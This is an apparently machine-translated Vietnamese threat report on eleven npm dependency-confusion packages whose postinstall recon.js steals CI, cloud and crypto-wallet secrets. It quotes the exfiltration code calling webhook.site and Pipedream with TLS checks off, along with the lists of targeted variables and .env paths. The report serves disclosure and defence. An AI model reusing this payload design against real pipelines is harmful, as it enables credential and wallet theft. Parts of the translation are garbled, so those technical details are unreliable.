TL; DR
Vào ngày 17/06/2026, một tài khoản npm duy nhất đã xuất bản Mười một gói hàng có chung một mục đích và một tải trọng.Mười người trong số họ mang theo cryptodao- tiếp đầu ngữ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); cái thứ mười một là phạm vi @public-for-cdao/coreTất cả đều được xuất bản ở phiên bản . 99.99.99 và gửi một bản sao giống hệt byte recon.js nó chạy trên postinstall.
Tên gọi đã nói lên tất cả. Chúng giống như các khối xây dựng nội bộ của chuỗi công cụ riêng tư của một dự án tiền điện tử/DAO. Được công bố trên kho lưu trữ npm công khai với phiên bản cao bất thường, chúng chờ đợi được biên dịch. pipeline Cấu hình này được thiết lập để phân giải các tên đó và truy cập vào kho lưu trữ npm công cộng trước — hoặc thay vì — kho lưu trữ riêng tư. Đây là nhầm lẫn phụ thuộcvà tải trọng được điều chỉnh chính xác sao cho phù hợp với vị trí dự kiến hạ cánh: CI/CD chạy.
Thời Gian postinstall đám cháy, recon.js thu thập thông tin chi tiết của máy chủ, quét sơ bộ. bốn mươi biến môi trường đám mây, CI và ví tiền điện tử, đọc bất kỳ .env Nó tìm thấy các tệp và chuyển tiếp nguyên văn các dòng chứa thông tin bí mật, sau đó truyền gói dữ liệu đó đến hai bộ thu thập — webhook.site và một điểm cuối Pipedream — với tính năng xác thực chứng chỉ TLS bị vô hiệu hóa. Một bản sao cũng được ghi lại dưới /tmp.
Mức độ nghiêm trọng: caoHệ sinh thái bị ảnh hưởng: NPMTại thời điểm viết bài này, cả mười một gói phần mềm đều đã được kích hoạt.
Giải phẫu tấn công
Cơ chế này có bốn bộ phận chuyển động, và không bộ phận nào trong số đó khó nhận ra một khi bạn đã biết cách vận hành. Hãy xem xét thêm một lớp nữa sau tên gói.
1. Lạm phát phiên bản như một chiêu trò dụ dỗ người giải quyết vấn đề. Mỗi gói đều khai báo phiên bản. 99.99.99Sự nhầm lẫn về phụ thuộc xảy ra khi trình quản lý gói yêu cầu một... tên nội bộ, đồng thời kiểm tra sổ đăng ký công khai và chọn phiên bản cao nhất. tìm thấy. Lựa chọn mặc định của npm cho phạm vi con trỏ hoặc ký tự đại diện là phiên bản đáp ứng tốt nhất trên mọi nguồn đã cấu hình; nếu cả hai đều là riêng tư Cả registry và npm công khai đều trả lời cùng một tên, số phiên bản lớn hơn sẽ được ưu tiên. A 99.99.99 Về cơ bản, nó vượt trội hơn bất kỳ phiên bản nội bộ thực tế nào mà dự án có. đã đạt được, vì vậy một trình phân giải không được ghim vào nguồn riêng tư sẽ ưu tiên nguồn đó. Bản sao công khai — và trong trường hợp này, mang tính thù địch. Người vận hành không cần phải biết điều đó. số phiên bản thực của mục tiêu; việc chọn một mức tối đa vô lý đảm bảo luôn luôn có kết quả hòa. phá vỡ con đường của họ.
2. Một trình kích hoạt sau khi cài đặt. package.json kết nối dữ liệu với quá trình cài đặt vòng đời:
{ "scripts": { "postinstall": "node recon.js" } } Không cần nhập gói. Chỉ cần cài đặt nó — điều mà CI (Continuous Integration) thực hiện. pipeline thực hiện tự động — chạy recon.js.
3. Một cuộc truy quét bí mật quy mô lớn. recon.js Tập hợp mảng kết quả theo từng giai đoạn:
- Thông tin máy chủ: tên máy chủ, nền tảng và phiên bản, kiến trúc, tên người dùng, trạng thái làm việc. thư mục.
- Biến môi trường: nó lặp lại một danh sách cố định gồm khoảng bốn mươi tên và bản ghi. bất kỳ cái nào được thiết lập. Danh sách này rất đáng chú ý — nó ghép các mã thông báo CI chung. (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, Mã thông báo truy cập GitLab) và mây thông tin xác thực (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) với các bí mật đăng ký và vùng chứa (NPM_TOKEN, MẬT KHẨU DOCKER, MẬT KHẨU HARBOR) và một cụm mang đậm hương vị mật mã: KHÓA_RIÊNG, TUYỆT VỜI, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCCác giá trị được ghi lại sẽ bị cắt ngắn xuống còn 50 ký tự đầu tiên.
- .NS tập tin: nó dò tìm một danh sách các đường dẫn — .NS, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, và .sản xuất/.phát triển các biến thể — và đối với bất kỳ tệp nào tồn tại, nó lọc nội dung theo các dòng phù hợp KHÓA | BÍ MẬT | MÃ THÔNG BÁO | MẬT KHẨU | RIÊNG TƯ | MÃ GHI NHỚ và đưa toàn bộ các dòng đó vào kết quả tìm kiếm mà không bị cắt xén.
- Ngữ cảnh máy chủ biên dịch: nó liệt kê 20 mục đầu tiên của /builds/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/và / tmp /.
Danh sách đường dẫn và danh sách biến được ưu tiên cho các trình chạy GitLab, điều này cho thấy... Tải trọng được đặt trực tiếp vào cơ sở hạ tầng CI tự quản lý chứ không phải vào phía nhà phát triển. máy tính xách tay. Việc nhóm danh sách thu hoạch theo từng loại giúp làm rõ số lượng hàng hóa dự định thu hoạch:
| Phân loại | Các biến/đường dẫn đã đạt được |
|---|---|
| CI/CD nhận dạng và triển khai | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| đám mây | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Đăng ký & container | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Kho dữ liệu | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Tiền điện tử / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Tin nhắn | SLACK_TOKEN, DISCORD_TOKEN |
| Trên đĩa | .env gia đình + /home/gitlab-runner/.env, /root/.env, /app/**/.env; danh sách thư mục của /builds/, /var/lib/gitlab-runner/ |
Cụm mã hóa là phần tạo nên sự khác biệt giữa điều này và một bí mật CI thông thường. quét: cụm từ hạt giống ví và khóa ký chỉ xuất hiện trong môi trường của một dự án blockchain, và chúng ánh xạ trực tiếp vào cryptodao-/ký tên/hợp đồng Đặt tên cho các hãng vận chuyển.
4. Rò rỉ dữ liệu kép với tính năng xác thực bị vô hiệu hóa. Mảng được thu thập là được tuần tự hóa và gửi bằng phương thức POST đến hai đích:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) rejectUnauthorized: false Tắt kiểm tra chứng chỉ TLS cho lưu lượng truy cập đi ra. các lệnh gọi. Dữ liệu tương tự được in ra stdout (vì vậy nó cũng được ghi vào nhật ký công việc CI) và bằng văn bản cho /tmp/.npm_recon_ .jsonCác lỗi thường được âm thầm bỏ qua, vì vậy... Việc gửi không thành công không để lại dấu vết nào trong nhật ký cài đặt ngoài một thông báo duy nhất. [trinh sát] được cài đặt trên hàng.
Một bình luận quan trọng trong tập tin mô tả nó như một "Sự nhầm lẫn phụ thuộc". "Tải trọng trinh sát." Việc cắt ngắn các giá trị môi trường xuống còn 50 ký tự đã Hình dạng của một bằng chứng về tính khả thi. Điều khiến nó vượt qua ranh giới của một thiết bị phát tín hiệu chỉ có chức năng hiện diện là... .NS xử lý: các dòng chứa thông tin bí mật được chuyển tiếp đầy đủ, và các điểm đến là hai bộ thu thập dữ liệu hoạt động, do kẻ tấn công điều khiển, chứ không phải là một bộ thu chỉ đếm. lượt truy cập.
Lịch Trình Sự Kiện
Mô hình xuất bản là dấu hiệu đặc trưng của một lần đẩy mã được lập trình sẵn, chứ không phải mười một lần. Tải lên độc lập.
| Thời gian (UTC, 17/06/2026) | Sự kiện |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 công bố |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — phiên bản có phạm vi, khoảng 24 phút sau |
Mười kiện hàng đã được gửi đi trong vòng 29 giây, trung bình cứ khoảng ba giây lại có một kiện. Phạm vi @public-for-cdao/core Theo sau khoảng 24 phút sau — một người thứ hai quy ước đặt tên cho cùng một mục tiêu, trong trường hợp dự án sử dụng tham chiếu đến Chuỗi công cụ nội bộ được đặt trong một phạm vi cụ thể thay vì chỉ sử dụng tên riêng lẻ.
Các chỉ số thỏa hiệp
| Kiểu | chỉ số |
|---|---|
| Collector | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Collector | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Lắp đặt móc | postinstall: node recon.js |
| Tệp bị bỏ | /tmp/.npm_recon_<timestamp>.json |
| Dấu mốc ghi nhật ký | [recon] <pkg>@<ver> installed on <hostname> (đầu ra chuẩn trong nhật ký CI) |
| Hành vi | rejectUnauthorized: false trên HTTPS đi ra trong quá trình cài đặt |
| Khối hàng | recon.jsGiống hệt nhau trên tất cả mười một gói (một bản dựng chung) |
| phiên bản | 99.99.99 trên mỗi gói hàng |
| Gói | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (tất cả các 99.99.99) |
| Nhà xuất bản | aduljune / aduljune@proton.me (Email chưa được xác minh, không có kho lưu trữ nguồn liên kết) |
Sự quy kết và hành vi quan sát được
Mọi thứ về cụm máy chủ này đều hướng về một phía. Tất cả mười một gói phần mềm đều đã được xuất bản. bởi tài khoản npm người lớn (aduljune@proton.me, một địa chỉ chưa được xác minh không có kho lưu trữ nguồn liên kết), trong vòng 25 phút, cùng lúc 99.99.99 phiên bản, vận chuyển một recon.js có nội dung giống hệt nhau từng byte trên mọi gói (MD5 khớp với tất cả mười một bản sao được trích xuất). Đó là một payload. Được đóng dấu vào danh sách tên, chứ không phải là tái sử dụng mã độc lập.
Danh sách tên xác định mục tiêu dự định. cryptodao-* và cdao mô tả Bố cục module riêng tư của một dự án tiền điện tử/DAO và danh sách thu thập dữ liệu của payload. phản ánh phỏng đoán đó: bên cạnh các bí mật CI và đám mây chung, nó đặc biệt đạt tới KHÓA_RIÊNG, TUYỆT VỜI, SEED_PHRASEvà Ethereum/BSC RPC và khóa nhà cung cấp. .NS Đường dẫn tìm kiếm và danh sách thư mục là GitLab-runner. Cụ thể. Hiệu ứng có thể quan sát được là bất kỳ pipeline bị lừa cài đặt những thứ này Tên miền sẽ chuyển tiếp các mã thông báo CI, khóa đám mây và dữ liệu trên đĩa. .NS bí mật — và, đối với Một dự án blockchain, vật liệu ví của nó — được chuyển cho hai nhà thu gom bên thứ ba.
Chúng tôi không khẳng định ai là người điều hành tài khoản hoặc họ dự định làm gì với tài khoản đó. dữ liệu. Những sự thật hiển nhiên: các tên gọi này nhắm đến một loại dữ liệu cụ thể. Chuỗi công cụ nội bộ, phần tải trọng đọc và truyền các giá trị bí mật thực sự, và Hệ thống cơ sở hạ tầng đã hoạt động.
Tác động, xu hướng và hướng dẫn phòng thủ
Sự nhầm lẫn về sự phụ thuộc Nó vẫn hiệu quả vì nó khai thác hành vi của trình phân giải, chứ không phải là một lỗ hổng trong bất kỳ gói hàng nào. Phương tiện vận chuyển ở đây rất đơn giản — mười một gói gần như trống rỗng. các gói hàng — nhưng bán kính vụ nổ là bất kỳ pipeline nhầm lẫn khi ưu tiên npm công khai Đối với một tên nội bộ. Các trình chạy CI là nơi tồi tệ nhất để điều đó xảy ra: chúng lưu giữ chính xác là các mã thông báo và .NS các tập tin mà phần mềm độc hại này đọc và cài đặt. các phụ thuộc không tương tác, vì vậy sau khi cài đặt Chạy mà không có ai để ý.
Cụm này cũng phù hợp với một mô hình mà chúng ta thường thấy: các gói dữ liệu được tải trong quá trình cài đặt gây ra hiện tượng... được dùng như "nghiên cứu" hoặc "thăm dò" trong khi thực hiện việc thu thập thông tin xác thực thực tế. Nhãn Việc thay đổi nội dung trong tệp không làm thay đổi chức năng của mã khi chạy chương trình. Hai lựa chọn thiết kế giữ nguyên... Hoạt động diễn ra yên tĩnh: mọi thao tác mạng và hệ thống tập tin đều được bao bọc trong một lớp bảo mật. Trình xử lý ngoại lệ sẽ loại bỏ các lỗi, ví dụ như lỗi gửi bị chặn hoặc thiếu tệp. Không tạo ra bất kỳ thông báo chẩn đoán nào, và thứ duy nhất được in ra là một dòng chữ vô hại. [trinh sát] … đã cài đặt dòng chữ hòa lẫn vào cuộc trò chuyện lắp đặt thông thường. Việc sử dụng webhook.site và Pipedream cũng được thiết kế để mang lại sự tiện lợi tối đa — cả hai đều miễn phí. Dịch vụ thu nhận yêu cầu được cung cấp tức thì, do đó người vận hành không cần máy chủ nào. Tên máy chủ của chúng và các đích đến trông giống như các tên máy chủ SaaS thông thường trong nhật ký đầu ra.
Yếu tố kinh tế là điều khiến vấn đề này đáng được các nhà phòng thủ quan tâm, mặc dù... Mã nhà mạng rất đơn giản. Việc đăng ký mười một tên miền không tốn chi phí gì, dữ liệu chỉ có một. Tệp được sao chép mười một lần, và trình quản lý gói thực hiện tất cả quá trình thực thi. Một tệp duy nhất cấu hình sai pipeline Bất kỳ nơi nào sử dụng một trong những tên gọi này đều phải trả toàn bộ chi phí. hoạt động.
Các bước cụ thể dành cho người phòng thủ:
- Gắn các phạm vi nội bộ vào sổ đăng ký riêng tư của bạn. Cấu hình npm để sử dụng tên nội bộ.
và phạm vi chỉ được giải quyết dựa trên registry của bạn (ánh xạ registry .npmrc có phạm vi, hoặc một máy chủ proxy không bao giờ chuyển sang npm công khai cho các namespace thuộc sở hữu). Hãy đặt trước tên phạm vi công khai của bạn để không ai khác có thể đăng ký chúng.
- Commit các tệp khóa và cài đặt với tùy chọn –ignore-scripts trong CI nếu khả thi, hoặc Kiểm tra kỹ lưỡng nhóm nhỏ các thư viện phụ thuộc thực sự cần đến tập lệnh cài đặt. recon.js không thể chạy nếu sau khi cài đặt không được thực thi.
- Hãy xử lý phiên bản 99.99.99 (hoặc một con số cao ngất ngưởng khác) của một tên có vẻ nội bộ. như một dấu hiệu cảnh báo trong việc xem xét các mối phụ thuộc và giám sát sổ đăng ký.
- Cảnh báo về việc thoát dữ liệu trong quá trình cài đặt. A sau khi cài đặt điều đó mở một HTTPS đi ra ngoài kết nối — đặc biệt là khi tính năng xác thực chứng chỉ bị vô hiệu hóa — với Việc chặn các dịch vụ bắt yêu cầu như webhook.site, Pipedream hoặc các dịch vụ tương tự ở biên mạng và gắn cờ trong nhật ký xây dựng là điều đáng làm.
- Đi tìm các hiện vật. Kiểm tra người chạy bộ /tmp/.npm_recon_*.json và cho [recon] … đã được cài đặt trên … dấu hiệu trong nhật ký CI gần đây. Nếu tìm thấy, hãy xoay vòng mọi thông tin xác thực bị lộ ra pipeline — Các token CI, khóa đám mây, token đăng ký và bất kỳ khóa hạt giống ví hoặc khóa riêng tư nào có trong tệp môi trường hoặc tệp .env.
dự án
Tại thời điểm viết bài này, chưa có báo cáo bên ngoài nào về cụm thông tin này; phân tích Thông tin trên dựa trực tiếp vào nội dung gói sản phẩm đã được công bố.




